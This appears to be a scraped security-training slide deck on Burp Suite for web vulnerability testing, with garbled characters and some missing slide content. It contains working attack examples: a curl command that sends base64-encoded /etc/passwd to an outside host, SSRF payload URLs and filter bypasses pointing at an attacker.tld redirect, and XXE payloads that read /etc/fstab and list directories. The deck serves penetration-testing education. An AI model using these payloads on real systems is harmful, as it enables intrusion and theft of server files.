This document provides an overview of Burp Suite and how to use its features to perform vulnerability assessments. It discusses Burp Suite's key components like the proxy, scanner, intruder, repeater, collaborator, and extender. It also covers techniques like bypassing filters, server-side request forgery, XML external entities, and common vulnerabilities to target like open redirects, insufficient entropy, and insecure deserialization.
Bug hunter and security consultant with 10+ years of experience. Personal website and Twitter handle given.
Introduction to BurpSuite 2.x as a cross-platform tool for vulnerability assessment, featuring various components like Dashboard, Target, Proxy, and more.
Automated and user-driven operations including Crawl, Audit, Active scan, and Passive scan functions in the BurpSuite Dashboard.
Details of the site map, useful for identifying directories, files, and execution paths as well as defining the scan scope.
Explains the Proxy feature of BurpSuite which allows interception of all HTTP(S) requests and responses for workflow analysis.
Discussion on HTTP Strict Transport Security (HSTS) and its implications for BurpSuite, including a demo on removing HSTS.
Highlights inappropriate error handling and issues with JavaScript redirects that can lead to vulnerabilities, inviting an interactive hacking demo.
The ability of BurpSuite to modify traffic and handle tool signatures to obscure identity during testing.
The Repeater tool allows manipulation and reissuing of requests, useful for discovering Insecure Direct Object References (IDOR).
Explains IDOR vulnerabilities through direct access via user input, with an illustrative example.
Describes the Intruder tool for automating attacks, with options like Sniper and Battering ram for different attack strategies.
Sources for powerful payload lists which can be utilized during testing, emphasizing the significance of creating custom lists.
Process of conducting brute force attacks with username and password lists, includes a call for engagement.
Fuzzing methodologies to identify hidden files and directories, and handling vague input value types.
Introduction to Burp Collaborator, its function in capturing Out of Band (OOB) requests and vulnerabilities like SSRF and XXE.
Discusses the Sequencer tool for assessing session token randomness, a key aspect in security testing.
Utilization of Extender for enhancing BurpSuite using third-party code and a mention of useful plugins.
Definition and implications of Open Redirect attacks, explaining how they can be exploited with examples.
Introduction to upcoming practical demonstrations with a focus on hacking techniques.
Introduction to Server-Side Request Forgery (SSRF) and its potential impacts on application security.
Examples and various protocols exploited in SSRF attacks that broaden the attack surface.
Methods for detection and bypassing filters in SSRF attacks, highlighting various strategies.
Describes a trick involving malicious inputs to exploit SSRF vulnerabilities.
Explains how XML External Entity (XXE) vulnerabilities occur and potential risks including directory listings.
Provides various contact details for further engagement and learning resources.
Dashboard
⢠Automated operations:
â˘Crawl (known as spider in BurpSuite 1.x)
⢠Crawl and Audit (Active scan)
⢠User-driven operations:
⢠Active scan
⢠Passive scan
⢠Passive crawl
5
6.
Target
⢠Site map
â˘Useful to find dir, files and execution paths
⢠Scope
⢠https://site.com/solid
⢠https://site.com/.*
⢠https://site.com/path/.*
6
7.
Proxy
⢠Most usefuloption
⢠Not only a proxy, but interceptor
⢠All requests and responses can be intercepted
⢠Useful to find out the workflows
7
HTTP Strict TransportSecurity
⢠Web security mechanism to prevent
⢠Man in the middle attack
⢠Visiting site by HTTP
⢠Visiting site by invalid certificate
⢠Since the BurpSuite does MITM, HSTS stops it
10
11.
How to removeHSTS
⢠Exporting and installing Burpâs CA certificate
⢠Demo time :)
11
12.
HOL - Inappropriateerror handling
⢠Searching through the logs
⢠Watching the responses carefully
⢠Chasing the responses
⢠Letâs hack :)
12
13.
HOL - Executionafter Redirect
⢠JavaScript redirects are not safe
⢠Browsers always follow the redirects
⢠But attackers not
⢠Ignoring redirects and retrieving sensitive content
⢠Searching through the logs
⢠Letâs hack :)
13
14.
Removing Tools Signature
â˘Tools produce signatures
⢠The BurpSuite can be in the middle to
⢠Capturing the tool/script traffic
⢠Modifying the traffic
⢠Removing signatures
14
Repeater
⢠It repeatsthe requests
⢠Manipulating and reissuing HTTP and WebSocket messages
⢠Good choice to discover IDOR
16
17.
Insecure Direct ObjectReference
⢠Direct access to objects based on user-supplied input
⢠http://foo.bar/somepage?invoice=12345
⢠User ID in JSON/XML formats
⢠Downloading a file by the name
⢠Letâs see a case
⢠https://hackerone.com/reports/287789
17
Intruder
⢠Automating customizedattacks against web applications
⢠Extremely powerful and configurable
⢠Brute-force guessing
⢠Fuzzing dir, files and paths
⢠Exploiting blind SQLi (here)
⢠Multi thread, delay, payloads and etc
19
20.
Intruder Options
⢠Burpâsintruder has several options, use
⢠Sniper to fuzz a single input
⢠Battering ram to custom attacks
⢠Pitchfork for leaked credentials
⢠Cluster bomb for separated lists
⢠Demo time :)
20
Conducting a BruteForce
⢠Get a username list
⢠Get a password list
⢠Brute force and endpoint to find valid credentials
⢠Letâs hack :)
22
23.
Fuzzing Hidden Filesand Dias
⢠Fuzz for directories
⢠Fuzz inside directory by [fuzz].[ext]
⢠Fuzz inside directory by [fuzz]
⢠Fuzz web service methods by [fuzz]
⢠Letâs hack :)
23
24.
Fuzzing Vague Values
â˘Some websites have vague values
⢠Base64 inputs
⢠Hash inputs
⢠There are several processor for payloads
⢠Letâs hack :)
24
25.
Burp Collaborator
⢠Anetwork service to discover vulnerabilities
⢠It captures Out of Band (OOB) requests
⢠HTTP(s) requests
⢠DNS lookups
⢠Uses a valid, CA-signed, wildcard TLS certificate
⢠Useful to find SSRF, XXE, blind XSS and etc
25
How to senddata out of the server through HTTP/DNS?
27
28.
Burp Collaborator
⢠Itprovides an address
⢠[unique].burpcollaborator.net
⢠zpsh3143whnrugrsbrjkadsa016suh.burpcollaborator.net
⢠The burpcollaborator.net domain might be filtered
⢠Can be used to steal information
⢠curl domain.tld -d "`cat /etc/passwd | base64 -w 0`â
⢠nslookup [hexdata].domain.tld
28
Extender
⢠To extendBurp's functionality using third-party code
⢠Languages: Python, Ruby and Java
⢠There are good plugins, such as Active Scan++
⢠Demo time :)
31
32.
Options
⢠There aresome useful options
⢠Upstream or Socks proxy are good
⢠Demo time :)
32
Open Redirect
⢠Knownas Unvalidated Redirects and Forwards
⢠Redirect a user to a website without any validation
⢠Exploit? Depending on the architecture of website
⢠https://site.tld/r?URI=https%3A%2F%2Fwww.google.com
⢠Usually URI parameter is protected by a REGEX
⢠The REGEX should not be vulnerable :)
34
Vulnerable REGEX
⢠(Serverside) Steps to redirect
⢠Extracting the host from URL
⢠Checking the host by whitelist
⢠Permission of the redirect
⢠Can you spot the vulnerability?
⢠https?://(www.)?(?P<host>[a-z0-9.-_]*)(/.*)?
36
Introduction
⢠The abilityto create requests from the vulnerable server to
intra/internet
⢠Interacting to:
⢠Cloud server meta-data
⢠Database HTTP interfaces
⢠Internal REST interfaces
⢠Reading files
⢠Scanning internal IP/Port
40
Attack Example
⢠Thecode is vulnerable to SSRF
⢠Normal usage:
⢠https://site.com/?url=index
⢠Attack vector:
⢠https://site.com/?url=http://127.0.0.1:9200/
⢠https://site.com/?url=http://127.0.0.1:8080/manager/
44
45.
Various Schemes
⢠Protocolscan extent the attack surface of SSRF
⢠Example:
⢠https://site.com/?url=file:///etc/passwd
⢠https://site.com/?url=dict://localhost:3779/
45
46.
Schemes
⢠Protocols canextent the attack surface of SSRF
⢠file:/// -> Allows an attacker to fetch the content of a file on the server
⢠dict:// -> Used to refer to word lists available using the DICT protocol
⢠sftp:// -> Used for secure file transfer over secure shell
⢠ldap:// -> Lightweight Directory Access Protocol
⢠tftp:// -> Trivial File Transfer Protocol, works over UDP
⢠gopher:// -> designed for distributing, searching, and retrieving documents
⢠http:// -> Used to fetch any content from the web
⢠https:// -> Same as the http
46
47.
Detection
⢠Listen acommon port in the server
⢠Put the https://ip in the URL-like inputs
47
48.
Filters
⢠Some filtersforbid:
⢠Sending requests to internal IP addresses
⢠Changing URL scheme
⢠Sending requests to Not white-listed domains
⢠https?://(www.)?domain.com/.+
⢠https?://.+?.?domain.com/.+
48
Bypass Filters 1
â˘Internal IP address filters
⢠Using domain instead of IP address
⢠The xip.io is a magic DNS server
⢠dig A 10.0.0.1.xip.io
⢠dig A anything.10.0.0.1.xip.io
⢠dig A 1ynrnhl.xip.io (base32(int(â254.169.254.169â)))
⢠Open Redirect in white-listed domains
⢠Alternate IP addresses:
⢠127.1 or 0x7F000001
⢠http://[::1]/ or http://[::]/
50
51.
Bypass Filters 2
â˘Scheme filters
⢠Can by bypassed by server-side redirect:
⢠https://domain.tld/?url=https://attacker.tld/r.php
⢠r.php contents:
51
XML External Entity
â˘XML (Extensible Markup Language) is a very popular data
format.
⢠Some applications use the XML format to transmit data
between the browser and the server.
⢠Altering XML may lead to XXE
⢠XXE allows an attacker to interfere with an
application's processing of XML data.
⢠XML specification contains various potentially
dangerous features.
55
56.
Saving the XMLFile
Response
Parsing the XML File
Web Service
Backend Server
56
57.
XML External Entity
POST/endpoint HTTP/1.1
<foo>
Hello World
</foo>
HTTP/1.1 200 OK
Hello World
POST /endpoint HTTP/1.1
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY bar "World">
]>
<foo>
Hello &bar;
</foo>
HTTP/1.1 200 OK
Hello World
57
58.
XML External Entity
â˘It seems harmless?
⢠XML parsers are configured to process external entities
⢠System identifier: is a document-processing construct
⢠There are two identifiers in XML:
⢠Public
⢠System
⢠A SYSTEM identifier specifies the exact location of file
58
PHP Wrappers
POST /endpointHTTP/1.1
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY bar SYSTEM
"php://filter/read=convert.base64-encode/resource=/etc/fstab">
]>
<foo>
&bar;
</foo>
HTTP/1.0 200 OK
IyAvZXRjL2ZzdGFiOiBzdGF0aWMgZmlsZSBzeXN0ZW0g
aW5mb3JtYXRpb24uDQojDQojIDxmaWxlIHN5c3R...
60
61.
XML External Entity
â˘Attackers are not limited to system files
⢠Some XML parsers, itâs even possible to get directory
listings
⢠Attackers can also send HTTP(s) requests by
⢠http://
⢠https://
⢠gopher://
⢠dict://
61
62.
Directory Listing
⢠Someparsers allow directory listing in XXE
⢠<!ENTITY % file SYSTEM âfile:///etc/â>
62
63.
More Scenarios
⢠Manyapplications support a âFile Uploadâ functionality
⢠XLSX, DOCX, PPTX, SVG or any XML MIME type formats
⢠The application processes files
⢠These files have an XML MIME type
⢠An attacker could take advantage of the XML
⢠root-me.org, SamBox-v3 is a good example
63